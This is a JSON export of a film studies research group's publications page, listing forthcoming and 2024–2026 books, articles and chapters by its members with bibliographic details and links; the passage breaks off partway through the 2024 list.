{"id":267,"date":"2018-02-24T18:27:53","date_gmt":"2018-02-24T18:27:53","guid":{"rendered":"https:\/\/konfigurationen-des-films.de\/?page_id=267"},"modified":"2026-04-07T16:25:47","modified_gmt":"2026-04-07T16:25:47","slug":"publications","status":"publish","type":"page","link":"https:\/\/konfigurationen-des-films.de\/en\/publications\/","title":{"rendered":"Publications"},"content":{"rendered":"<h3>Forthcoming<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Daniel Fairfax; Vinzenz Hediger: <b>Cinema\/Ideology\/Criticism: Historical Explorations and Contemporary Resonances<\/b>, Amsterdam: Amsterdam University Press, forthcoming.<\/li>\n<li>Fadekemi Olawoye: <b>Cinematic Representation of Immigrants Lives in Andrew Dosunmu\u00b4s <\/b><b><i>Mother of George, <\/i><\/b>in New Jersey: Africa World Press, forthcoming in 2025.<\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2026<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Amrita Biswas: <strong>Beyond An \u2018Act of Faith:\u2019 An Inquiry into Saving Ray\u2019s Films<\/strong>, in: PUBLIC: Art | Culture | Ideas (Special Issue <em>Against Oblivion; Community Archives, Building Alliances<\/em>, edited by May Chew, Susan Lord and Janine Marchessault), 36 (71), 2025, <a href=\"https:\/\/doi.org\/10.1386\/public_00251_1\">Link<\/a>.<\/li>\n<li>Amrita Biswas; Johanna Laub: <strong>Reconstructing Nineteenth-Century Frankfurt: Time Travel in TimeRide and the <em>Neue Altstadt<\/em><\/strong>, in: 19: Interdisciplinary Studies in the Long Nineteenth Century, 2025 (38), <a href=\"https:\/\/doi.org\/10.16995\/ntn.17435\">Link<\/a>.<\/li>\n<li>Amrita, Biswas: <strong>Of Anecdotes and Intimacies: Curatorial Fan Practices of Knowledge Production<\/strong>, in: Philipp Dominik Keidl; Jana Z\u00fcndel (eds.): Platforms and the Moving Image, L\u00fcneburg: Meson Press, 2025, pp. 85-100, <a href=\"https:\/\/doi.org\/10.14619\/0733\">Link<\/a>.<\/li>\n<li>Verena Mund: <strong>Erinnern teilen. Stock footage und generische \u00c4sthetik in <em>The Way We Were<\/em> (US 1973)<\/strong>, in: Gaby Babi\u0107 \/ Anke Zechner (eds.), Generationen (= Frauen und Film, Nr. 73, 10\/2025), Berlin: Aviva 2025, pp. 120-132.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Jana Z\u00fcndel: <strong>Streaming Series Transforming Television and its Cultural Practices<\/strong>, London: Routledge, forthcoming. <a href=\"https:\/\/www.routledge.com\/Streaming-Series-Transforming-Television-and-its-Cultural-Practices\/Zundel\/p\/book\/9789048563241\">Link<\/a>.<\/li>\n<li>Dennis Hippe: <strong>\u201eVulkane erleben!\u201c Die Osteifel als Ort filmischen Wissens<\/strong>, in: ffk-Journal, 11 (2026), pp. 291\u2013309, <a href=\"https:\/\/ffk-journal.de\/?journal=ffk-journal&amp;page=article&amp;op=view&amp;path%5B%5D=297\">Link<\/a>.<\/li>\n<li>Nils Meyn:<strong> Notes on the Sticky Note: Gay Smut, Archival Desires, and Tactile Tactics<\/strong>, in: <span lang=\"EN-US\">Kerim Do<\/span><span lang=\"TR\">\u011f<\/span><span lang=\"EN-US\">ruel; Fadekemi Olawoye; Clara Podlesnigg (eds.): <em>Sticky Films<\/em><\/span>, L\u00fcneburg: meson press, 2026, pp. 66-88, <a href=\"https:\/\/meson.press\/books\/sticky-films\/\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2025<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Britta Hartmann; Jana Z\u00fcndel (eds.): <strong><em>#filmkultur. <\/em>Montage AV 34 (2)<\/strong>, 2025, Marburg: Sch\u00fcren.<\/li>\n<li>Jana Z\u00fcndel: <strong>Einleitung. Meme-Kulturen und Gemeinschaftsbildung<\/strong>, in: <em>Montage AV <\/em>34 (2), 2025, pp. 87-93.<\/li>\n<li>Jana Z\u00fcndel: <strong>Undetectable participation in meme culture \u2013 meme audiences between interpassivity and emotional gratification<\/strong>, in: <em>Popular Communication<\/em>, 2025, pp. 1-19, <a href=\"https:\/\/doi.org\/10.1080\/15405702.2025.2593440\">Link<\/a>.<\/li>\n<li>Jana Z\u00fcndel: <strong>Beyond Spreadability and Virality: Distributing Internet Memes in Limited Circles and Circular Motions<\/strong>, in: Cornelia Storz; Vinzenz Hediger; Matthias Krings (eds.), <em>Dis.Ordering Distribution: Infrastructures, Formats and Practices in the Circulation of Culture<\/em>, Research in the Sociology of Organizations 94, Leeds: Emerald Publishing, 2025, pp. 79-96, <a href=\"https:\/\/www.emerald.com\/books\/edited-volume\/17769\/chapter\/97270669\/Beyond-Spreadability-and-Virality-Distributing\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Pavan Kumar Malreddy, Frank Schulze-Engler (eds.): <b><i>Mapping World Anglophone Studies. English in a World of Strangers<\/i><\/b>, London: Routledge, 2025, <a href=\"https:\/\/www.routledge.com\/Mapping-World-Anglophone-Studies-English-in-a-World-of-Strangers\/KumarMalreddy-Schulze-Engler\/p\/book\/9781032886633\">Link<\/a>.<\/li>\n<li>Pavan Kumar Malreddy, Frank Schulze-Engler (eds.): <b><i>Contested Solidarities. Agency and Victimhood in Anglophone Literatures and Cultures<\/i><\/b>, Heidelberg: Heidelberg University press, 2025, <a href=\"https:\/\/heiup.uni-heidelberg.de\/catalog\/book\/1559\">Link<\/a>.<\/li>\n<\/ul>\n<ul>\n<li>Gloria Ernest-Samuel; Fadekemi Olawoye; Georgia Thomas-Parr: <b>\u201cBollywood be like\u2026\u201d: Imagined worlds and cross-cultural fandom of Hindi media by ZeeWorld fans in Nigeria, <\/b>in: Lindiwe Dovey; Kate Taylor-Jones; Georgia Thomas-Parr (eds.): <em>Global Screen Worlds: Conversations across Cinema<\/em> Cultures, New York: Bloomsbury Press, 2025, pp. 307-331.<\/li>\n<li>Sema \u00c7akmak; Fadekemi Olawoye: <b>Introduction<\/b>, in: Ulrike Bergermann, <i>Property. Colonial Histories and Messages to the Future, <\/i>Meson Press, 2025, pp. 9-18.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Anna Bell: <b>Pessimistic Hope as Rebellion: Fassbinder\u2019s Despair and Utopia<\/b>, in: Johanna M. Wagner, Melanie Duckworth, Deanna Benjamin (eds.), <i>Narratives of Hope and Despair Ruin and Regeneration in Literature and Culture<\/i>, New York: Routledge, October 2025. <a href=\"https:\/\/www.routledge.com\/Narratives-of-Hope-and-Despair-Ruin-and-Regeneration-in-Literature-and-Culture\/Wagner-Duckworth-Benjamin\/p\/book\/9781041107583\">Link<\/a>.<\/li>\n<li>Katharina Jost: <b>Ein Schiff in Stillstand und Bewegung kreuzt durchs Heim-Kino-Wohnzimmer, seine Filme und weitere Projektionen<\/b>, in: <em>ffk-Journal<\/em>, 10 (2025), pp. 46-63, <a href=\"https:\/\/doi.org\/10.25969\/mediarep\/23705\">Link.<\/a><\/li>\n<li>Laura Laabs: <b>Final Fantasy VII<\/b>, in: Daniel Martin Feige; Rudolf Thomas Inderst (Ed.): <em>Computerspiele. 50 zentrale Titel<\/em>, Bielefeld: Transcript, 2025, pp. 151\u2013157.<\/li>\n<li>Laura Laabs: <b>Like Moths to a Flame<\/b>, in: <i>Mediapolis. A Journal of Cities and Culture<\/i>, 2 (10) 2025 [Patricia Pia Bonrus; Bianka-Isabell Scharmann (Ed.):<i> Lightscapes\/Nightscapes<\/i>], <a href=\"https:\/\/www.mediapolisjournal.com\/2025\/07\/like-moths-to-a-flame\/\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Johanna Laub:<b> Anarchival Repair. Luta Ca Caba Inda and the Sedimentation of a Film Archive<\/b>, in: Marie Sophie Beckmann; Petra L\u00f6ffler (Ed.)<i>: Sub(e)merging: Experiences, Practices and Politics from Below<\/i>, Z\u00fcrich: Diaphanes, 2025, pp. 241-258, <a href=\"https:\/\/www.diaphanes.net\/titel\/sub-e-merging-experiences-practices-and-politics-from-below-7986\">Link<\/a>.<\/li>\n<li>Jana Z\u00fcndel: <b>Between Memeability and Televisuality: The (Self-)Memefication of Television Series<\/b>, in: <em>Media and Communication<\/em>, 13 (2025), pp. 1-21, <a href=\"https:\/\/www.cogitatiopress.com\/mediaandcommunication\/article\/view\/9408\">Link<\/a>.<\/li>\n<li>Jana Z\u00fcndel: <b>Die Intros neuerer deutscher Serien zwischen nationaler Programmpolitik und internationaler Rezeptionskultur<\/b>, in: Emmanuel B\u00e9hague; Sonia Goldblum (Ed.), <i>Revue d\u2019Allemagne et des pays de langue allemande,<\/i> 1 (57), pp. 167\u2013182. <a href=\"https:\/\/doi.org\/10.4000\/1466d\">Link<\/a>.<\/li>\n<li>Jana Z\u00fcndel: <b>Platform Television and the Streaming Wars<\/b>, in: Philipp Dominik Keidl; Jana Z\u00fcndel (Ed.)<i>: Platforms and the Moving Image<\/i>, L\u00fcneburg: meson press, 2025, pp. 241-262, <a href=\"https:\/\/meson.press\/wp-content\/uploads\/2024\/09\/978-3-95796-074-0_Platforms_and_the_Moving_Image.pdf\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Polywka, Andrea: <b>Mary E. Lescher: The Disney Animation Renaissance: Behind the Glass at the Florida Studio<\/b>, in: <i>MEDIENwissenschaft: Rezensionen | Reviews<\/i>, 1 (42) 2025, pp. 91-92, <a href=\"http:\/\/dx.doi.org\/10.25969\/mediarep\/23635\">Link<\/a>.<\/li>\n<li>Asja Makarevi\u0107: <strong>Post-Yugoslav Cinema and the Shadows of War: A Study of Non-Representation in Film<\/strong>, Amsterdam: Amsterdam University Press, 2025, <a href=\"https:\/\/library.oapen.org\/handle\/20.500.12657\/105583\">Link<\/a>.<\/li>\n<li>Asja Makarevi\u0107; Lisabona Rahman: <strong>La memoria de las mariposas Interview: \u201cRespect the Silence, Respect the Not Knowing, Respect the Pain\u201d<\/strong>, <a href=\"https:\/\/www.arsenal-berlin.de\/en\/forum-forum-expanded\/forum-program\/main-program-2025\/la-memoria-de-las-mariposas\/interview\/\"><em>Arsenal Berlin<\/em><\/a>, February 2025.<\/li>\n<li>Asja Makarevi\u0107; Lisabona Rahman:<strong> Colossal Film Interview: \u201cIf I am going to expose them, I am going to expose myself too\u201d<\/strong>, <a href=\"https:\/\/www.arsenal-berlin.de\/en\/forum-forum-expanded\/forum-program\/main-program-2025\/colosal\/interview-if-i-am-going-to-expose-them-i-am-going-to-expose-myself-too\/\"><em>Arsenal Berlin<\/em><\/a>, February 2025.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Dennis Hippe; Halil \u015eore\u015f Karako\u00e7; Marie Malina; Simon Schiller (Ed.): <b><i>ffk-Journal<\/i><\/b>, (10) 2025, <a href=\"http:\/\/www.ffk-journal.de\/?journal=ffk-journal&amp;page=issue&amp;op=view&amp;path%5B%5D=11\">Link<\/a>.<\/li>\n<li>Dennis Hippe: <b>Cosmologies of the Living Forest. For a Metabolic Documentary<\/b>, in: <i>Alphaville. Journal of Film and Screen Media<\/i>, 29 (2025), forthcoming.<\/li>\n<li>Braida, Nicole; Pirk, Frauke: <strong>Teaching Small Gauge with Digital Methods<\/strong>, in: S<span class=\"contributor-dgb\"><span class=\"displayName\">arah-Mai Dang;<\/span><\/span><span class=\"comma\">\u00a0<\/span><span class=\"contributor-dgb\"><span class=\"displayName\">Tim van der Heijden; <\/span><\/span><span class=\"contributor-dgb\"><span class=\"displayName\">Christian Gosvig Olesen <\/span><\/span>(Ed.): <i>Doing Digital Film History: Concepts, Tools, Practices<\/i>, Berlin: De Gruyter, 2025, pp. 109-131,<a href=\"https:\/\/www.degruyter.com\/document\/doi\/10.1515\/9783111082486-006\/html\">\u00a0Link<\/a>.<\/li>\n<li>Braida, Nicole: <strong>From the Small Screen to the Big Screen: The Super8&#8217;s Distribution of Sandokan TV series<\/strong>, in: <i>Cin\u00e9ma &amp; Cie. Film and Media Studies Journal<\/i>, 24 (43) 2024, pp. 125-140, <a href=\"https:\/\/riviste.unimi.it\/index.php\/cinemaetcie\/article\/view\/19977\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Wanda Strauven; Alexandra Schneider: <\/span><b>Children Reinventing Cinema: Snapshots from the Early 21st Century<\/b><span style=\"font-weight: 400;\">, L\u00fcneburg: meson press, 2025, <a href=\"https:\/\/meson.press\/books\/children-reinventing-cinema\/\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Johanna Laub: <\/span><b>Anarchival Repair: Luta Ca Caba Inda and the Sedimentation of a Film Archive<\/b><span style=\"font-weight: 400;\">, in: Marie Sophie Beckmann, Petra L\u00f6ffler (eds.), <\/span><i><span style=\"font-weight: 400;\">Sub(e)merging: Experiences, Practices and Politics from Below<\/span><\/i><span style=\"font-weight: 400;\">, Z\u00fcrich: Diaphanes, 2025, pp. 241-258, <\/span><a href=\"https:\/\/www.diaphanes.net\/titel\/sub-e-merging-experiences-practices-and-politics-from-below-7986\"><span style=\"font-weight: 400;\">Link<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Anna Bell: <\/span><b>\u201eWear your Rainer Werner love\u201c: Affective Reputation and Handmade Cinephile Merch<\/b><span style=\"font-weight: 400;\">, in: Philipp Dominik Keidl, Jana Z\u00fcndel (eds.), <\/span><i><span style=\"font-weight: 400;\">Platforms and the Moving Image<\/span><\/i><span style=\"font-weight: 400;\">, L\u00fcneburg: meson press, 2025, p. 63-84, <\/span><a href=\"https:\/\/meson.press\/wp-content\/uploads\/2024\/09\/978-3-95796-074-0_Platforms_and_the_Moving_Image.pdf\"><span style=\"font-weight: 400;\">Link.<\/span><\/a><\/li>\n<li><span style=\"font-weight: 400;\">Philipp Dominik Keidl\/Jana Z\u00fcndel (Hg.): <\/span><em><b>Platforms and the Moving Image<\/b><\/em><span style=\"font-weight: 400;\"><em>.<\/em> L\u00fcneburg: meson press, 2025, <a href=\"https:\/\/meson.press\/books\/platforms-and-the-moving-image\/\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2024<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Carolin Gebauer, Pavan Kumar Malreddy, Jan Rupp: <b>Introduction. Nomadworld \u2013 Global Mobility and the New Anglophones<\/b>, in: <i>Anglistik: International Journal of English Studies<\/i>, 35 (1), 2024, S. 9-18, <a href=\"https:\/\/doi.org\/10.33675\/ANGL\/2024\/1\/5\">Link<\/a>.<\/li>\n<li>Pavan Kumar Malreddy: <b>Philosophy, Politics and Critique in an age of Decolonial Fever<\/b>, in: <i>Philosophy, Politics and Critique<\/i> 1 (1), 2024, S. 74-78, <a href=\"https:\/\/www.euppublishing.com\/doi\/10.3366\/ppc.2024.0019\">Link<\/a>.<\/li>\n<li>Pavan Kumar Malreddy: <em><b>Insurgent Cultures. World Literature and Narratives of Violence from the Global South<\/b>, <\/em>Cambridge: Cambridge University Press, 2024, <a href=\"https:\/\/www.cambridge.org\/core\/books\/insurgent-cultures\/339CF46D6C9DBDA1098C48572435D85A\">Link<\/a>.<\/li>\n<li>Nicole Braida: <strong>Finding Home: Mediale Aneignungen von Fl\u00fcchtlingsleben<\/strong>, in: Alena, Strohmaier; Elisa Linseisen (Ed.): <i>Deine Kamera ist eine App. \u00dcber Medienverflechtungen des Applizierens und Approprierens<\/i>, L\u00fcneburg: meson press, 2024, pp. 131-149,<a href=\"https:\/\/meson.press\/books\/deine-kamera-ist-eine-app\/\"> Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Nicole Braida: <strong>Italo-Film: The Circulation of Italian Films on Super 8 in Germany in the \u201970s and \u201980s<\/strong>, in: <i>L&#8217;avventura. International Journal of Italian Film and Media Landscapes<\/i>, Il Mulino, 2 2024, pp. 297-316, <a href=\"https:\/\/www.rivisteweb.it\/doi\/10.17397\/115266\">Link<\/a>.<\/li>\n<li>Nicole Braida: <strong>On Distant Viewing <\/strong>[Book review], in: <i>NECSUS. European Journal of Media Studies<\/i>, 1 (13) 2024, pp. 316-322,<a href=\"https:\/\/necsus-ejms.org\/on-distant-viewing\/\">\u00a0Link<\/a>.<\/li>\n<li>Asja Makarevi\u0107; Barbara Wurm: <strong>Noites Ainda Cheiram a P\u00f3lvoraInterview:Questioning the Sensorial, <\/strong><a href=\"https:\/\/www.arsenal-berlin.de\/en\/forum-forum-expanded\/archive\/program-archive\/2024\/program-forum\/main-program\/as-noites-ainda-cheiram-a-polvora\/interview-questioning-the-sensorial\/\"><em>Arsenal Berlin<\/em><\/a><i>, <\/i>February 2024.<\/li>\n<li><span style=\"font-weight: 400;\">Anna Bell: <\/span><b>Rainer Werner Dracula: Posthumous Reputation of an Undead<\/b><span style=\"font-weight: 400;\">, in: Alejandro Bachmann, Niels Deimel, Christiane Kopf (eds.), <\/span><i><span style=\"font-weight: 400;\">Encounter RWF. Fassbinder Archive Education<\/span><\/i><span style=\"font-weight: 400;\">, Frankfurt: DFF -Deutsches Filminstitut &amp;<\/span> <span style=\"font-weight: 400;\">Filmmuseum e.V., 2024, p.127-133.<\/span> <a href=\"https:\/\/www.dff.film\/en\/education\/projects\/encounter-rwf\/\"><span style=\"font-weight: 400;\">Link<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Johanna Laub:<\/span><b> Revolution Unfolding: The Historical Present Between Real Time and Latency in Found Footage Filmmaking<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Cin\u00e9ma &amp; Cie<\/span><\/i><span style=\"font-weight: 400;\">, 42 (24) 2024, pp. 21-36, <\/span><a href=\"https:\/\/riviste.unimi.it\/index.php\/cinemaetcie\/article\/view\/21999\"><span style=\"font-weight: 400;\">Link<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li>Jana Z\u00fcndel: <b>Empfehlungen als Endlosschleife. Zur seriellen \u00c4sthetik der Content-Vernetzung bei Netflix<\/b>, in: Olga Moskatova; Laura Katharina M\u00fccke (ed.), <i>Bild | Kan\u00e4le. Zur Theorie und \u00c4sthetik vernetzter Medienkultur<\/i>, W\u00fcrzburg: K\u00f6nigshausen &amp; Neumann, 2024, pp. 383\u2013410.<\/li>\n<li><span style=\"font-weight: 400;\">Jana Z\u00fcndel: <b>Klassenfragen auf Streamingplattformen: \u00d6konomische Barrieren und demografisches Targeting bei Netflix<\/b>, in: Dagmar Hoffmann; Florian Krau\u00df; Moritz Stock (ed.), <i>Fernsehen und Klassenfragen<\/i>, Wiesbaden: Springer, 2024, pp. 283\u2013301, <a href=\"https:\/\/link.springer.com\/chapter\/10.1007\/978-3-658-45224-7_14\">Link<\/a>.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Yvonne Zimmermann (eds.): <\/span><b><i>How Film Histories Were Made: Materials, Methods, Discourses<\/i><\/b><i><span style=\"font-weight: 400;\">, <\/span><\/i><span style=\"font-weight: 400;\">Amsterdam: Amsterdam University Press, 2024, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789048554577\/how-film-histories-were-made\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Yvonne Zimmermann: <\/span><b>Introduction: Unpacking Film History\u2019s Own Histories. Towards an Archaeology of Film Historiography<\/b><span style=\"font-weight: 400;\">, in: Malte Hagener, Yvonne Zimmermann (eds.), <\/span><i><span style=\"font-weight: 400;\">How Film Histories Were Made: Materials, Methods, Discourses, <\/span><\/i><span style=\"font-weight: 400;\">Amsterdam: Amsterdam University Press, 2024, pp. 13-43, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789048554577\/how-film-histories-were-made\">Link<\/a>.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann: <\/span><b>Hans Richter and the \u201cStruggle for the Film History\u201d<\/b><span style=\"font-weight: 400;\">, in: Malte Hagener, Yvonne Zimmermann (eds.), <\/span><i><span style=\"font-weight: 400;\">How Film Histories Were Made: Materials, Methods, Discourses, <\/span><\/i><span style=\"font-weight: 400;\">Amsterdam: Amsterdam University Press, 2024, pp. 209-234, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789048554577\/how-film-histories-were-made\">Link<\/a>.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann: <\/span><b>The Power of Flows: The Spatiality of Industrial Films on Hydropower in Switzerland<\/b><span style=\"font-weight: 400;\">, in: Vinzenz Hediger, Florian Hoof, Yvonne Zimmerman (eds.), <\/span><i><span style=\"font-weight: 400;\">Films That Work Harder: The Circulation of Industrial Film, <\/span><\/i><span style=\"font-weight: 400;\">Amsterdam: Amsterdam University Press, 2024, pp. 273-294, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789462986534\/films-that-work-harder\">Link.<\/a><\/span><\/li>\n<li>Pavan Kumar Malreddy; Frank Schulze-Engler (eds.): <b><i>Mapping World Anglophone Studies. English in a World of Strangers<\/i><\/b>, London: Routledge,\u00a0 2024.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Pavan Kumar Malreddy: <b>Philosophy, Politics and Critique in an age of Decolonial Fever<\/b>, in: <i>Philosophy, Politics and Critique<\/i> 1 (1) 2024, pp. 74-78.<\/li>\n<li>Pavan Kumar Malreddy: <em><b>Insurgent Cultures. World Literature and Narratives of Violence from the Global South<\/b>, <\/em>Cambridge: Cambridge University Press, 2024.<\/li>\n<li>Vinzenz Hediger, Florian Hoof, Yvonne Zimmermann: <b>Introduction: A Sequel and a Shift<\/b>, in: Vinzenz Hediger, Florian Hoof, Yvonne Zimmerman (eds.), <i>Films That Work Harder: The Circulation of Industrial Film, <\/i>Amsterdam: Amsterdam University Press, 2024, pp. 17-31, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789462986534\/films-that-work-harder\">Link<\/a>.<\/li>\n<li><span style=\"font-weight: 400;\">Stefanie Kemmerer, Pavan Kumar Malreddy: <\/span><b>Contemporary Arab Novels in English. Political Resistance in the City Spaces in Arab Spring Novels by Saleem Haddad and Omar Robert Hamilton<\/b><span style=\"font-weight: 400;\">, in: Nadia Butt, Ansgar N\u00fcnning, Alexander Scherr (eds.), <\/span><i><span style=\"font-weight: 400;\">The Anglophone Novel in the Twenty-First Century<\/span><\/i><span style=\"font-weight: 400;\">, Trier: WVT, 2024, pp. 69-82, <\/span><a href=\"https:\/\/www.wvttrier.de\/en\/p\/the-anglophone-novel-in-the-twenty-first-century\"><span style=\"font-weight: 400;\">Link<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Nils Meyn:<strong> Schmutzige Bilder einer Stadt. \u00dcber den Versuch, die Geschichte der Pornokinos im Bahnhofsviertel Frankfurt a. M. zu kartografieren<\/strong>, in: <em>ffk-journal (9) 2024<\/em>, pp. 1-16, <a href=\"http:\/\/ffk-journal.de\/?journal=ffk-journal&amp;page=article&amp;op=view&amp;path%5B%5D=195\">Link<\/a>.<\/li>\n<li>Malte Hagener:<strong> Splitscreen. Das geteilte Bild als symbolische Form in Film und anderen Medien.<\/strong> Berlin: Bertz + Fischer, 2024, <a href=\"https:\/\/www.bertz-fischer.de\/splitscreen\">Link.<\/a><\/li>\n<li><span style=\"font-weight: 400;\">Anna Bell, <b>Rainer Werner Dracula: Posthumous Reputation of an Undead,<\/b> in: Alejandro Bachmann, Niels Deimel, Christine Kopf (eds.), Encounter RWF. Fassbinder Archive Education, Frankfurt: DFF \u2013 Deutsches Filminstitut &amp; Filmmuseum e.V., 2024, pp. 127-133, <a href=\"https:\/\/www.dff.film\/en\/education\/projects\/encounter-rwf\/\">Link<\/a>.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Laura Laabs: <\/span><b>Grundlagen der Pok\u00e9monologie<\/b><span style=\"font-weight: 400;\">, in: Thomas Spies; \u015eeyda Kurt; Holger P\u00f6tzsch (eds.), <\/span><i><span style=\"font-weight: 400;\">Spiel*Kritik. Kritische Perspektiven auf Videospiele im Kapitalismus<\/span><\/i><span style=\"font-weight: 400;\">, Bielefeld: Transcript, 2024, pp. 279\u2013296, <a href=\"https:\/\/www.transcript-open.de\/doi\/10.14361\/9783839467978-016\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Laura Laabs: <b>Ziptease<\/b>, in: <i>Works in Progress. A GEM Lab Periodical of New Research<\/i>, April 2024, <a href=\"https:\/\/www.globalemergentmedia.com\/in-progress\/ziptease\">Link<\/a>.<\/li>\n<li><span style=\"font-weight: 400;\">Wanda Strauven: <\/span><b>Coming to Terms with the \u201cSmart\u201d Phone<\/b><span style=\"font-weight: 400;\">, in: Nicholas Baer and Annie van den Oever (eds.), <\/span><i><span style=\"font-weight: 400;\">Technics. Media in the Digital Age<\/span><\/i><span style=\"font-weight: 400;\">, Amsterdam: Amsterdam University Press, 2024, pp. 201-220.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Jana Z\u00fcndel:<\/span><b> #officehumor \u2013 Verhandlungen eines kollektiven Erfahrungsraums in B\u00fcro-Memes auf TikTok<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Augenblick<\/span><\/i><span style=\"font-weight: 400;\"> (88) 2024, pp. 99\u2013118.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Jana <\/span><span style=\"font-weight: 400;\">Z\u00fcndel: <\/span><b>Television as a Plural and Transmedial Concept. <\/b><span style=\"font-weight: 400;\">In: Denis Newiak, Dominik Maeder, Herbert Schwaab (eds.), <\/span><i><span style=\"font-weight: 400;\">Television Studies and Research on Series. <\/span><\/i><span style=\"font-weight: 400;\">Wiesbaden: Palgrave Macmillan, 2024, pp. 17<\/span><span style=\"font-weight: 400;\">\u2013<\/span><span style=\"font-weight: 400;\">35, <a href=\"https:\/\/doi.org\/10.1007\/978-3-658-42915-7_2\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Josefine Hetterich: <\/span><b>Queer Reproduction: AIDS Activist Pasts &amp; Futurity in POSE<\/b><span style=\"font-weight: 400;\">, in: Kathrin Dreckmann; Bettina Papenburg (ed.), <\/span><i><span style=\"font-weight: 400;\">Queer Pop: Aesthetic Interventions in Contemporary Culture<\/span><\/i><span style=\"font-weight: 400;\">, Berlin: De Gruyter, 2024,<\/span><a href=\"https:\/\/www.degruyter.com\/document\/isbn\/9783111013435\/html?lang=de\"> <span style=\"font-weight: 400;\">Link<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Diana Sanz Roig: <\/span><b>Special Issue: Digital Film Historiography: Challenges of\/and Interdisciplinarity, <\/b><span style=\"font-weight: 400;\">in:<\/span> <i><span style=\"font-weight: 400;\">Journal for Cultural Analytics<\/span><\/i><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">, vol. 9, issue 4 (July 2024), <a href=\"https:\/\/culturalanalytics.org\/issue\/10778\">Link<\/a>.<br \/>\n<\/span><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Josephine Diecke: <\/span><b>Managing Tools and Expectations. Dos and Don\u2019ts of Teaching Digital Methods for Film Analysis and Film Historiography.<\/b><span style=\"font-weight: 400;\"> In: Sarah-Mai Dang, Tim van der Heijden, Christian Gosvig Olesen (Hrsg.): <\/span><i><span style=\"font-weight: 400;\">Doing Digital Film History. Concepts, Tools, Practices<\/span><\/i><span style=\"font-weight: 400;\">. Berlin: De Gruyter 2024: 299-312, <a href=\"https:\/\/doi.org\/10.1515\/9783111082486\">Link<\/a>.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>Kino<\/b><span style=\"font-weight: 400;\">. In: Maren Lickhardt, Robert Krause (eds.): <\/span><i><span style=\"font-weight: 400;\">Handbuch Weimarer Republik. Literatur und Kultur<\/span><\/i><span style=\"font-weight: 400;\">. Berlin: J.B. Metzler 2024: 303-315.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Kai Matuszkiewicz, Josephine Diecke, Theresa Blaschke, Derya Tok, Yvonne Zimmermann: <\/span><b>Mehr Christians als Frauen? Eine gendersensible Analyse der film- und medienwissenschaftlichen Fachgeschichte mit digitalen Methoden<\/b><span style=\"font-weight: 400;\">. In: <\/span><i><span style=\"font-weight: 400;\">Frauen und Film<\/span><\/i><span style=\"font-weight: 400;\">, Heft 72: Archive (2024): 128-140.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener, Theresa Blaschke: <\/span><b>Approaching a National Film History through Data. Network Analysis in German Film History.<\/b><span style=\"font-weight: 400;\"> In: <\/span><i><span style=\"font-weight: 400;\">Journal for Cultural Analytics<\/span><\/i><span style=\"font-weight: 400;\">, vol. 9, issue 4 (July 2024). Special Issue: Digital Film Historiography: Challenges of\/and Interdisciplinarity, <a href=\"https:\/\/doi.org\/10.22148\/001c.118499\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Malte Hagener: <\/span><b>Streams, Portals, and Data Flows: Digital Infrastructures of Film Studies<\/b><span style=\"font-weight: 400;\">. In: Nicholas Baer, Annie van den Oever (Hrsg.): <\/span><i><span style=\"font-weight: 400;\">Technics. Media in the Digital Age.<\/span><\/i><span style=\"font-weight: 400;\"> Amsterdam: Amsterdam University Press 2024. (Key Debates; 